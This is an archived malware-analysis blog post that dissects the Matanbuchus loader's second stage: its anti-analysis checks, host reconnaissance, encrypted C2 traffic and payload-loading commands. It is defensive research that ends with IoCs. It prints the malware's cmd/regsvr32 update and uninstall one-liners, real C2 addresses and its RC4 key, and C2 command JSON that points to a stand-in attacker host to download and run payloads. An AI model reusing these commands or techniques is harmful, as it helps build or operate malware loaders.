{
	"id": "7e8b69e1-6517-4e49-9ad8-d0d42d229abe",
	"created_at": "2026-04-06T00:09:57.217566Z",
	"updated_at": "2026-04-10T13:11:29.380632Z",
	"deleted_at": null,
	"sha1_hash": "d043c3c42ea6f25467b07f4b15d56829d49bb649",
	"title": "Inside Matanbuchus: A Quirky Loader",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3319815,
	"plain_text": "Inside Matanbuchus: A Quirky Loader\r\nBy Ben Cohen and the CyberArk Malware Research Team\r\nPublished: 2022-07-26 · Archived: 2026-04-05 20:04:30 UTC\r\nAn in-depth analysis of Matanbuchus loader’s tricks and loading techniques\r\nMatanbuchus is a Malware-as-a-Service loader that has been sold on underground markets for more than one year.\r\nMatanbuchus is considered to be a loader type of malware used to download and execute malware payloads on the\r\ntargeted environments. The Matanbuchus loader consists of two stages, while only the first stage was analyzed in-depth and published.\r\nThis blog post will shed light on Matanbuchus’ main stage, the second stage of the loader. From our point of view,\r\nthe second stage is the more interesting component of the loader, as it involves many payload loading techniques.\r\nBy dissecting the loader’s features and capabilities, we will attempt to answer whether Matanbuchus is a loader\r\nmalware, as it markets itself, or if it is more like a bot service.\r\nIntroduction\r\nMalware loaders have been in the wild for a long time. In the last few years, we’ve noticed a significant increase\r\nin the variety and quantity of malware loaders that have been used on different campaigns and sold on\r\nunderground marketplaces.\r\nThe main goal of malware loaders is to evade and bypass security detections, such as AVs and EDRs, to distribute\r\ndifferent malware payloads like info-stealers, RATs, ransomware, etc. This is opposed to bot malware, which\r\nfocuses on different features like persistence and active communication with the C2 server to get and execute\r\nvarious commands and payloads by demand.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 1 of 23\n\nLoaders have come a long way in their sophistication and effectiveness. The old loaders were mostly\r\nPackers/Crypters, which basically encrypt the payload’s content to hide the real execution flow, strings, etc. By\r\nusing this technique, the loaders can evade static detection capabilities. The newer loaders can also evade dynamic\r\ndetections like user-mode hooking. They include sophisticated obfuscation, multi-stage binaries/shellcodes, and\r\nnumerous anti-analysis tricks like anti-debugging and VM detection across all the binary. On top of that, most\r\nimportantly, the newer loaders can load the attacker’s payload by using various loading techniques to bypass\r\ndifferent detections.\r\nIn most cases, the loaders have many different stages, but the last stage typically loads and executes the attacker’s\r\npayload. For instance, a loader that consists of multiple stages might have the following parts:\r\nCheck the compromised machine and decrypt the next stage\r\nConnect to the C2 for retrieving the encryption key and decrypting the next stage\r\nDownload and decrypt the attacker’s payload and execute it.\r\nHere is an example of a loader that downloads the payload from a given URL, which could be the C2 server.\r\nBesides an ordinary C2 channel, the malware can also use a known hosting service (e.g., OneDrive). Nevertheless,\r\nsome loaders store the attacker’s payload in an encrypted form within their binary, such as encrypted resources.\r\nMatanbuchus Loader: Overview\r\nMatanbuchus loader has been marketed as a MaaS loader since February 2021. It’s sold on underground forums\r\nand is rented for a price of $3,000 – $4,500 per month. Based on underground forums and reviews, Matanbuchus\r\nseems to be a boutique Loader-as-a-Service that rents its service only to a limited group of attackers at the same\r\ntime.\r\nIt’s important to note that the loader part is sold separately from the payloads. The payload, in singular or in plural\r\nform, will eventually be executed on the target machine. Matanbuchus mainly downloads and executes different\r\npayloads like Qbot and Cobalt Strike beacons. It used to be delivered and dropped by macro code of Microsoft\r\nOffice document files like Excel and Word documents.\r\nFigure 1: Matanbuchus loader sold on a known Russian underground forum\r\nThe malware is written in C++, and as we mentioned, it consists of two stages: the initial loader (first stage) and\r\nthe main loader (second stage). Every part of the malware is implemented in a different DLL file.\r\nThe first stage is pretty basic — it mostly performs checks to ensure the current environment is not monitored.\r\nThis is done to ensure that the second-stage binary would not run in a monitored machine, as you can see its main\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 2 of 23\n\nflow in the following figure.\r\nFigure 2: The first stage loader’s main flow\r\nIn comparison to the first stage, the second stage’s primary goal is loading the attacker’s payload.\r\nThe second part starts performing some interesting checks (see below for more information). After that, it collects\r\ninformation about the victim’s machine and sends it to the C2 server as an encrypted JSON. Afterward, the C2\r\nserver chooses a payload it wishes to execute in the target environment and by which method/way. For example,\r\nthe C2 can decide to run an executable file in a fileless way. It is worth mentioning that the loader can download\r\nthe attacker’s payload from any remote server like free hosting services. The server that hosts the payload doesn’t\r\nhave to be the C2 server.\r\nThe loader supports various commands for loading the final payloads and controlling itself, such as:\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 3 of 23\n\nRun executables (can be with parameters or without)\r\nRun as admin\r\nRun DLLs (using rundll32.exe or regsvr32.exe)\r\nRun script commands – CMD and Powershell commands\r\nRun PE file from memory (fileless)\r\nUpdate each part of the malware\r\nUninstall the loader\r\nSleep\r\nYou can probably see in the following figure why we consider the main flow of the second stage to be more\r\ninteresting.\r\nFigure 3: The second stage loader’s main flow\r\nInitial Loader – First Stage\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 4 of 23\n\nAs previously mentioned, the initial loader is the first part of this loader, which is ultimately responsible for\r\nloading the main loader into memory.\r\nDuring the analysis of the second-stage loader, we wrote a blog about the initial stage. But 0ffset Training\r\npublished an in-depth analysis that pretty much covers all of our findings for this part. Instead of saying the same\r\nthings in different words, we highly recommend you read their blog, which is well-documented.\r\nMain Loader – Second Stage\r\nFrom our point of view, the second stage seems to be the exciting part, since it is responsible for communicating\r\nwith the C2 and then loading and executing the payload.\r\nWe examined the following binary, which was downloaded from Virus Total, if you wish to experiment with it:\r\nb9b399dbb5d901c16d97b7c30cc182736cd83a7c53313194a1798d61f9c7501e.\r\nThe second stage is also obfuscated. Here, the strings are encrypted and obfuscated using different techniques of\r\nstack strings, and they are dynamically decrypted when the malware has to use them. In addition, most of the API\r\ncalls are obfuscated in the same manner as the first part. The API calls are resolved dynamically by going over the\r\nexported functions of the relevant DLL and comparing the function names to the given fnv1a hash. As we already\r\nmentioned, both obfuscation techniques are well-documented in 0ffset’s blog. Yet, we used different tactics to\r\ndeobfuscate the API calls and strings.\r\nFor those who read my last blogs about Oski Stealer and FickerStealer, you probably noticed that I’m a fan of\r\nIDAPython, so I wrote IDAPython scripts for handling the strings and API call obfuscation to make the static\r\nanalysis easier.\r\nLet’s start analyzing our second loader. The malware first loads/gets a handle to five DLLs: Shell32.dll,\r\nIPHLPAPI.DLL, WS2_32.dll, Wininet.dll, and Shlwapi.dll. It continues by performing several tests.\r\nMachine Tests\r\nMatanbuchus starts by checking the victim’s machine by different parameters, as you can see in steps 2-4 in\r\nFigure 3. The main loader starts with a basic CIS check (step 2) to validate that it doesn’t attack any victims from\r\nthe Commonwealth of Independent States (CIS). This is a standard check for cybercrime tools that are sold on\r\nRussian underground forums. The malware resolves the address of GetSystemDefaultUILanguage in order to call\r\nit, and then it compares the user language ID to several hard-coded Lang IDs. By going over the hard-coded\r\nvalues, we can easily understand that it checks the victim’s language to Russian, Ukrainian, Belarusian, Cyrillic\r\nand Armenian.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 5 of 23\n\nFigure 4: part of the CIS check function\r\nNext, the loader checks to see if the initial loader ran before (step 3), which should be the usual case, because\r\nthe initial loader downloads and loads the second stage. The initial loader creates a working folder, where it\r\ndownloads and saves the first-stage binary to use it as persistence to be run by the scheduled task.\r\nSo the main loader checks to verify that the working folder exists; if not, it assumes that something went wrong\r\nand exits.\r\nThe last check for this part is to verify that the following path exists %Program Files%\\\\Opera\\\\Opera.exe, which\r\nis the default path for the Opera web browser (step 4). If this path exists, the malware will exit, which might be\r\nquite an odd check. We assume that this check tends to be an anti-sandbox trick for known and popular online\r\nsandbox services like Any.Run.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 6 of 23\n\nFigure 5: Check Opera browser installation\r\nIf all those checks go well, the loader moves to the primary function.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 7 of 23\n\nFigure 6:  second stage DllRegiesterServer flow\r\nLoader’s Main\r\nGet Configurations\r\nThe loader starts with decrypting the inner configuration that is stored in the binary. The important parts are the\r\nC2 server address, the C2 server’s gate, and a string that stands for the RC4 encryption key of the communication\r\nbetween the C2 server and the malware.\r\nIn our case, the C2 addresses are 193.56.146[.]60, 193.56.146[.]61, 193.56.146[.]62, 193.56.146[.]65, the gate is\r\n/GtHODfM/qilZw/YjtK.php, and the RC4 key is 5r5i.\r\nBesides that C2 configuration, the loaders also decrypt another configuration like the sample version and the\r\nsample name, and we assume the third string is related to the campaign, something like tagging campaign.\r\nInformation Gathering\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 8 of 23\n\nThe loader gathers information about the compromised machine to send to the C2 server. By sending this\r\ninformation, the C2 server decides what will be the next payload to present to the loader. For instance, based on\r\nthe process’ privilege, the C2 would choose a specific payload that requires high privileges.\r\nThe loader first retrieves the network domain name associated with the victim user by calling\r\nExpandEnvironmentStringsA with the environment variable of %USERDOMAIN%, followed by a call to\r\nGetComputerNameA to retrieve the computer name.\r\nAfter that, it checks the privileges of the running process — the loader’s process. Matanbuchus uses a known\r\ntechnique to check whether the running process is running with administrator privileges. As you can see in the\r\nfollowing figure, the loader first resolves the address of the AllocateAndInitializeSid function to create a SID of\r\nthe administrator group.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 9 of 23\n\nFigure 7: Checking the process’ privileges\r\nNext, it calls to CheckTokenMembership with the created SID of the administrator group while the TokenHandle\r\nis NULL, so it will use the impersonation token of the current process — the loader’s process. Calling\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 10 of 23\n\nCheckTokenMembership allows the loader to decide if the current process is running with administrator privileges\r\nor not.\r\nNext, the loader gets the full path of the process that runs the loader. After that, it collects basic CPU information\r\nlike the CPU name and brand. In addition, it checks if the machine architecture is 32-bit or 64-bit by calling\r\nIsWow64Process function, which checks if the process runs under WOW64 on a 64-bit processor.\r\nFurthermore, it gets the number of processors the machine has by calling GetSystemInfo, which returns a pointer\r\nto a SYSTEM_INFO structure that holds the number of processors —dwNumberOfProcessors field.\r\nBesides that, the loader reads the victim logon server’s name using the same API we saw before \r\nExpandEnvironmentStringsAwith the environment variable of %LOGONSERVER%. It gets the RAM size of the\r\ncomputer by calling GlobalMemoryStatusEx.\r\nAs you can see in the following figure, the loader gets the name of the DNS domain of the local machine by using\r\nGetComputerNameExA.\r\nFigure 8: Gets the DNS domain name\r\nThe last part of the victim’s reconnaissance is to get the computer’s MAC address. Matanbuchus does this by\r\ncalling the exported function GetAdaptersInfo of iphlpapi.dll, which returns a pointer to a PIP_ADAPTER_INFO\r\nstructure that holds the MAC address and converts it to regular MAC address format (%02X-%02X-%02X-\r\n%02X-%02X-%02X).\r\nC2 Server Communication\r\nAfter collecting the relevant information from the compromised machine, Matanbuchus sends this data to the C2\r\nserver and waits to receive its next set of commands.\r\nThe data sent to the C2 server is a base64 string of JSON data. The JSON holds different information in an\r\nencrypted way. The JSON values are encrypted and then encoded with base64 while the JSON keys are not. The\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 11 of 23\n\nvalue for each key is encrypted with RC4 encryption and later encoded with base64. The key used for the RC4\r\nencryption originated in the loader’s configuration, which is, of course, stored in an obfuscated fashion. In our\r\ncase, the RC4 key is 5r5i. It’s important to note that the names of the JSON keys might be different in other\r\nsamples.\r\nThis process we mentioned above is almost the same for C2 communication to the malware. It might be valuable\r\nto know that the malware’s developer uses a known open-source library to deal with JSON objects\r\n(https://github.com/nlohmann/json).\r\nFor example, the process of creating the encrypted and encoded JSON will be like this:\r\nFigure 9: “building” the sent data process\r\nAfter creating the encrypted JSON (right side of Figure 9), the malware encodes it with base64 encoding and\r\nconcatenates the string auth= at the beginning of the base64 string (as shown in Figure 10).\r\nThe last task of this part is to send the data to the C2 server, which is done by a function we named\r\nsend_POST_data.\r\nThe malware tries to send the data to the first C2 server, and in case of failure, it iterates to the next one. If it fails\r\nto send the data to all C2 servers, the malware goes to sleep by default and then tries again.\r\nAs we noted earlier, the send_POST_data function is responsible for communicating with the C2 server.\r\n1. The function receives a URL/IP address as an argument.\r\n2. The function creates a TCP socket to port 44413, hard coded in the binary, but it might differ between\r\nMatanbuchus samples, as we noticed.\r\n3. The loader decrypts all the relevant strings for creating the POST request like User-Agent:, Host: , etc.\r\nThen it concatenates the data to create the complete request format.\r\n4. The function finalizes the POST request and sends it to the given server address over the created socket.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 12 of 23\n\nFigure 10: The POST request to the C2 server for the gathered information\r\nAfter creating the JSON and sending the encoded data, the C2 server returns base64 encoded data — the\r\nencrypted JSON. This data contains the information about the next command for the loader.\r\nLoader Commands\r\nAfter the C2 receives the data, the attacker can choose the loader’s next step, sending a followed\r\ncommand/payload that is sent as the response to the last POST request.\r\nThe response is also encrypted and JSON-encoded with base64 in the same way as the request. After decoding and\r\ndecrypting the response, the returned JSON should appear in this format:\r\nFigure 11: Decrypted C2 server command\r\nThe loader supports 14 different commands, 11 of which are connected to loading the attacker’s payload.\r\nAfter the execution of any command, the loader calls a function we named C2_comm_after_payload. We assume\r\nC2_comm_after_payload aims to inform the C2 server about the last command’s executio by sending the value of\r\nthe magic key from the C2 server’s JSON (the nX8y value from the JSON). The response for this request can also\r\nbe another command to execute, so the loader might even run several payloads.\r\nTo see all the loader’s capabilities and each command’s format, we encourage you to check out the C2’s\r\ncommands summary (Appendix A). But for now, let’s analyze each of the loader’s commands.\r\nRun executable\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 13 of 23\n\nThe malware gets the value from the rJqU key of the JSON (you might refer to Figure 11), which is the server’s\r\nURL for hosting the attacker’s payload (it might be the C2 server or even a known hosting service). It downloads\r\nthe attacker’s payload from the given URL, saves it to the disk and executes it.\r\nThe loader starts by getting the path for its working folder, generates some random string (size of 11 characters),\r\ndecrypts the string .exe and concatenates between them. The result will be the full path for the payload file where\r\nit will be saved, for example, C:\\ProgramData\\F1B2503007FE48B68E2406AD42928F5A\\OlOvfmrqwXT.exe.\r\nAfterward, Matanbuchus calls a function we named download_file_to_disk, which receives a URL and a path to a\r\nfile as arguments. It creates a file on the given path and downloads a file from the URL.\r\nThis function uses a known method for reading a file from a remote server by using exported functions from\r\nWininet.dll, which allows the loader to download a file from any server.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 14 of 23\n\nFigure 12: part of  download _file_to_disk function\r\nAs shown in Figure 12, the loader reads 3072 bytes from the file on the remote server, the hosted payload, and\r\nwrites its data to the created file on the targeted environment in the working folder in a loop.\r\nAs a final step, the loader creates a new instance of explorer.exe using CreateProcessA. It sets the command line\r\narguments to be the path for the downloaded payload, which causes explorer.exe to run the payload.\r\nRun executable with parameters\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 15 of 23\n\nThis command is quite the same as the last command, but in this case, the loader will run the attacker’s payload\r\nwith parameters.\r\nThe main difference between the ‘Run executable’ and this command is that the rJqU JSON’s value also holds the\r\npayload’s parameters. So the loader extracts the payload’s parameters by looking at the \u0026 charter, which is used as\r\na delimiter.\r\nIn this case, it will execute the payload again by using CreateProcessA with the given command line/parameters.\r\nRun executable with admin rights\r\nThe loader can try to run the payload with administrator privileges.\r\nMatanbuchus downloads the payload and calls ShellExecuteExA. This function gets a pointer to a\r\nSHELLEXECUTEINFOA structure while the loader sets the lpVerb member to runas. This method will execute a\r\ngiven process with admin privileges; here, the loader runs cmd.exe that starts the payload as shown in Figure 13.\r\nBut if the process doesn’t have administrator privileges, it will pop up a UAC window, so the victim may not\r\nallow it, and the payload will not run, which is one of the reasons  to never work as an administrator.\r\nFigure 13: UAC window for running the payload with admin privileges\r\nRun DLL using Rundll32\r\nThe loader executes DLLs by using the classic binary, Rundll32.exe, with the relevant exported function to\r\nexecute by the attacker command.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 16 of 23\n\nThe malware downloads the DLL from the given URL and extracts the name/ordinal of the exported function\r\nfrom the rJqU key in the JSON. Again, it uses the character \u0026 as a delimiter to differentiate the URL from the\r\nexported function name.\r\nFirst, it downloads the payload and saves it to disk, and as you can see in Figure 14, the loader uses\r\nCreateProcessA to run rundll32.exe, which will run the final payload.\r\nFigure 14: Creating the process of Rundll32.exe\r\nRun DLL using Regsvr32\r\nThis method is quite the same as the one above. However, in this case, the loader saves the payload with a .ocx\r\nextension and creates an instance of regsvr32.exe.\r\nRun CMD command\r\nIn addition to executing binaries, the loader can also act like a bot and run CMD commands. The loader extracts\r\nthe command from the rJqU key in the JSON and creates an instance of cmd.exe with the extracted command line,\r\ne.g., C:\\\\Windows\\\\System32\\\\cmd.exe /c \u003ccmd_from_c2\u003e\r\nRun PowerShell command\r\nLike running CMD commands, the loader can also run a PS command using the same technique. It creates an\r\ninstance of powershell.exe with the attacker’s command line.\r\nRun PE within memory\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 17 of 23\n\nMatanbuchus starts with downloading the payload, but in this case, it saves the binary only within memory.\r\nTherefore, the loader calls a function we named download_file_to_memory, which allocates a memory buffer in\r\nthe binary size and writes its data to memory. The function returns a pointer for the written payload data within\r\nmemory. After that, it creates a new thread that runs the MemLoad function and passes the pointer to the payload\r\ndata in memory, as shown in Figure 15.\r\nFigure 15: Create a new thread for running the payload as a fileless\r\nThe MemLoad function is just a wrapper for another function that loads and executes the PE file. The function\r\nchecks if the downloaded payload contains the proper signatures for a PE file. If so, it loads it into memory,\r\nrelocates it to a proper address, and then executes it from the entry point of the PE file, which could be the\r\nEntryPoint of the executable or the MainDll of a DLL. The initial loader also uses this function to load the main\r\nloader, which is well-documented in 0ffset Training’s blog.\r\nRun DLL within memory\r\nThe last loading technique is pretty similar to the technique we described before. There is only one difference,\r\nwhich, in this case, the routine that is executed is not the entry point of the PE file. The executed routine will be\r\none of the exported functions of the DLL, which are hard coded in the loader binary.\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 18 of 23\n\nWhile analyzing the loading techniques, we found three different commands that use this loading technique.\r\nEventually, each command will load the DLL to memory and run another exported function of the downloaded\r\npayload, DllRegisterServer or DllInstall.\r\nThe loader decrypts the exported function name, and then it goes over the exported function names of the loaded\r\nDLL to find the relevant function to execute.\r\nIt is worth mentioning that we observed the loader has two different commands (Running dll in memory #3\r\n(DllInstall(Install)), Running dll in memory #3 (DllInstall(Unstall))), which eventually run the same exported\r\nfunction — DllInstall — which seems to be useless.\r\nLoader update\r\nThe following commands affect the loader itself and aren’t related to the payload, as we have seen so far.\r\nThe first from this set of commands is updating the loader or, as the developers named it, “the bot,” because of the\r\ncommand’s name — Crypt update \u0026 Bots upgrade.\r\nThe loader starts by downloading the binary from the given URL and saves it to disk. After that, it decrypts\r\nvarious strings to create the next cmd command.\r\ncmd.exe /c timeout /t 3 \u0026\u0026\r\nmove /Y %ProgramData%\\\\F1B2503007FE48B68E2406AD42928F5A\\\\.ocx %ProgramData%\\\\F1B2503007FE48B68E2406AD\r\nregsvr32.exe -e -n -i:\"%PROCESSOR_REVISION%.ocx\" %ProgramData%\\\\F1B2503007FE48B68E2406AD42928F5A\\\\%PR\r\nSnippet Code 1: Overwrite the Initial loader\r\nThe command changes the downloaded binary name to the name of the machine’s processer revision that is used\r\nfor the persistence part of the initial loader (the scheduled task executes this binary). In other words, this\r\ncommand allows the loader to update the initial loader binary that will affect the second-stage loader.\r\nThe last part of this command will call the DllInstall exported function of this new loader without calling to\r\nDllRegisterServer and without displaying any success message. Finally, the loader runs this command by creating\r\na new instance of cmd.exe and passing the command as an argument.\r\nUninstall\r\nThe loader can remove itself from the victim’s machine, and it doesso by running a pretty basic command that\r\ndeletes all the loader’s files and its working folder.\r\nThis command removes the loader’s files and prevents more execution of the current loader, but it doesn’t fully\r\nremove itself. The loader doesn’t delete the scheduled task that can indicate infection by Matanbuchus, despite the\r\nattempt to remove itself.\r\ncmd.exe /c timeout /t 3 \u0026\u0026 del %ProgramData%\\\\F1B2503007FE48B68E2406AD42928F5A\\\\%PROCESSOR_REVISION%\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 19 of 23\n\nSnippet Code 2: deletes the loader’s working folder\r\nSleep\r\nThe last command is a basic sleep command, which is the default command of the loader. In case of failure\r\nregarding the other commands, e.g., unknown command, the malware jumps executing this command.\r\nThe loader calls to sleep function for four minutes, and then it communicates with the C2 requesting the next\r\ncommands.\r\nConclusion\r\nThe Matanbuchus loader is yet another one of the loader families.\r\nThis loader uses many advanced techniques, such as API call obfuscations and the usage of undocumented APIs,\r\nto hide malicious behavior. However, one would expect that with such sophistication, Matanbuchus would use\r\nbetter loading methods, such as process injection, which is typical of most loaders.\r\nWith its variety of features, the loader has established itself as a unicorn, because most loaders have limited\r\ncapabilities. As far as we know, Matanbuchus supports a wide array of updates, from solving bugs on the C2\r\nserver to adding new features to the malware binary, like one of its latest updates for supporting loading shellcode\r\nfrom memory.\r\nIn dissecting the malware’s features and capabilities, we wondered whether Matanbuchus is a loader or a bot.\r\nWe expected Matanbuchus, which markets itself as a loader, to be stealthier and more sophisticated, mainly\r\nregarding its anti-analysis tricks and payload-loading techniques as pretty average across the board, making it a\r\npoor’s man loader. On the flip side, Matanbuchus, as a bot, does a pretty good job.\r\nMatanbuchus’ capabilities and features made us think it’s more like a bot service  than loader malware. We came\r\nto this conclusion mainly because of its basic loading techniques compared to other loaders, its persistence\r\ncapability and the fact it uses the word bot when it means itself in one of the commands — “Crypt update \u0026 Bots\r\nupgrade.”\r\nOur final thoughts are that Matanbuchus marketing should be bot-as-a-service. 😊\r\nReferences\r\n[1] Matanbuchus: Malware-as-a-Service with Demonic Intentions\r\n[2] MATANBUCHUS: Another Loader As A Service Malware\r\nAppendix A: C2 Commands Summary\r\nCommand\r\nC2 Command\r\nName\r\nDecrypted command\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 20 of 23\n\nRun\r\nexecutable\r\nRunning exe\r\n{ “hszA”: “Running exe”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun\r\nexecutable\r\nwith\r\nparameters\r\nStarting the exe with\r\nparameters\r\n{ “hszA”: “Starting the exe with parameters”, “rJqU”:\r\n“https://attackerc2server/payload\u0026 cmdline”, “nX8y”:\r\n“c2_cmd_flag” }\r\nRun\r\nexecutable\r\nwith admin\r\nrights\r\nRun EXE with\r\nadmin rights\r\n{ “hszA”: “Run EXE with admin rights”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun DLL\r\nusing\r\nRundll32\r\nRunDll32 \u0026 Execute\r\n{ “hszA”: “RunDll32 \u0026 Execute”, “rJqU”:\r\n“https://attackerc2server/payload\u0026exported_func_name_or_ord”,\r\n“nX8y”: “c2_cmd_flag” }\r\nRun DLL\r\nusing\r\nRegsvr32\r\nRegsvr32 \u0026 Execute\r\n{ “hszA”: “Regsvr32 \u0026 Execute”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun CMD\r\ncommand\r\nRun CMD in\r\nmemory\r\n{ “hszA”: “Regsvr32 \u0026 Execute”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun\r\nPowerShell\r\ncommand\r\nRun PS in memory\r\n{ “hszA”: “Run PS in memory”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun PE\r\nwithin\r\nmemory\r\nMemLoadDllMain ||\r\nMemLoadExe\r\n{ “hszA”: “MemLoadDllMain || MemLoadExe”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun DLL\r\nwithin\r\nmemory\r\nRunning dll in\r\nmemory #2\r\n(DllRegisterServer)\r\n{ “hszA”: “Running dll in memory #2 (DllRegisterServer)”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun DLL\r\nwithin\r\nmemory\r\nRunning dll in\r\nmemory #3\r\n(DllInstall(Install))\r\n{ “hszA”: “Running dll in memory #3 (DllInstall(Install))”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nRun DLL\r\nwithin\r\nmemory\r\nRunning dll in\r\nmemory #3\r\n(DllInstall(Unstall))\r\n{ “hszA”: “Running dll in memory #3 (DllInstall(Unstall))”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nLoader\r\nupdate\r\nCrypt update \u0026 Bots\r\nupgrade\r\n{ “hszA”: “Crypt update \u0026 Bots upgrade”, “rJqU”:\r\n“https://attackerc2server/payload“, “nX8y”: “c2_cmd_flag” }\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 21 of 23\n\nUninstall Uninstall\r\n{ “hszA”: “Uninstall”, “rJqU”: “https://attackerc2server/payload“,\r\n“nX8y”: “c2_cmd_flag” }\r\nSleep\r\nSleep – Default\r\nfunction\r\n{ “hszA”: “b2tb” }\r\nAppendix B: IoCs \u0026 YARA Rule\r\nHashes\r\nMain stage\r\n0e12e3135f1891b47caf5a4df67a19d96a5bb9d37b1fdff02149e8e6d5ddbb1c\r\n7631546efbeca850698133ee79732bc276ee601ac479fa85bebb938b0fe7fef5\r\n2ef601d3598e90d4e1d5793b4c562fc4ed0cc47c64ff662968a1a8fe1eb70a0e\r\nc41f7b7ec0909d5c21107ddebc2fe84dbc137f701b42943c1a5e69f5d50e05ab\r\nb9b399dbb5d901c16d97b7c30cc182736cd83a7c53313194a1798d61f9c7501e\r\naf6e30959bcc2e034de7c3f5d146b52c54f7343defd01d95e2e3887a62aaabef\r\n556f02ed0c930fc89b898f53a4a670f002ea62c7e8a7f5c2b1740d459284ff5c\r\nef23785e2299720a6d8e15f60b4f84a42f58f5140959597e46d14ed86b4a205d\r\n2cf53513a84c5fe62adf8ae7bbfd5a707ecadd5f47f653fcee26c93362ea83cc\r\n8c2be4fef0c0cda93bfc8b3857465540012e7f20f9dc3dd0cdf723a62a006a5e\r\nInitial stage\r\n3bbf58809f6c221652c924e5091b797a5de1148f594b3084d1f54505bf36c6d3\r\n2ed8d7ca0c848699a4a419d434d7fd0e84b7aaadc48b40340e8b8fab9f096d2e\r\n10324295e9e90de22a3204273a28612ef3e72b9ae78c44466e69cb7306b0cffd\r\n6cb30172d4154a89356f5b3bf2b843b94e7e727e4ff90ccb908be7ec1d536f04\r\n9f3a3eb7f9ae763d57731edb33aa9781f51124a70467d0c67b47c5a0be104909\r\nf2b7f9a4bc539ca1abd84b0b7a07853cad7f86e3a66d0e7d050b610c4b2ac7fe\r\n77ef1660d04aebbfcb5506b445c73a60572523741d326aef8e3209326428b501\r\n67dece0c0ef7d6d03f880e73e853f55d0c805dd389896178e7835c364062892e\r\n32814d7581dcbcfeca8fce229bdb12bf92f006aea54c3f393cbbef341c897877\r\n7706ea3a2696393475ef819d8bc0244f6e19c5e08bcc3ce8240571ab74381818\r\nf57dba3c38c19844a1a8a422ae7c7437ee409f4f88dea4ad756dce5a9fa01d8b\r\n9d2f0573033def03d2a91c74337379c77132ca4624120e2f2220bc50bcbe9a7c\r\nYara Rule\r\nMatanbuchus Loader Initial Stage Yara Rule\r\nMatanbuchus Loader Main Stage Yara Rule\r\nIoCs\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 22 of 23\n\nMatanbuchus Loader IoCs\r\nSource: https://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nhttps://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader\r\nPage 23 of 23\n\n  https://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader  \nFigure 5: Check Opera browser installation  \nIf all those checks go well, the loader moves to the primary function.\n   Page 7 of 23",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader"
	],
	"report_names": [
		"inside-matanbuchus-a-quirky-loader"
	],
	"threat_actors": [
		{
			"id": "d9b39228-0d9d-4c1e-8e39-2de986120060",
			"created_at": "2023-01-06T13:46:39.293127Z",
			"updated_at": "2026-04-10T02:00:03.277123Z",
			"deleted_at": null,
			"main_name": "BelialDemon",
			"aliases": [
				"Matanbuchus"
			],
			"source_name": "MISPGALAXY:BelialDemon",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434197,
	"ts_updated_at": 1775826689,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d043c3c42ea6f25467b07f4b15d56829d49bb649.pdf",
		"text": "https://archive.orkl.eu/d043c3c42ea6f25467b07f4b15d56829d49bb649.txt",
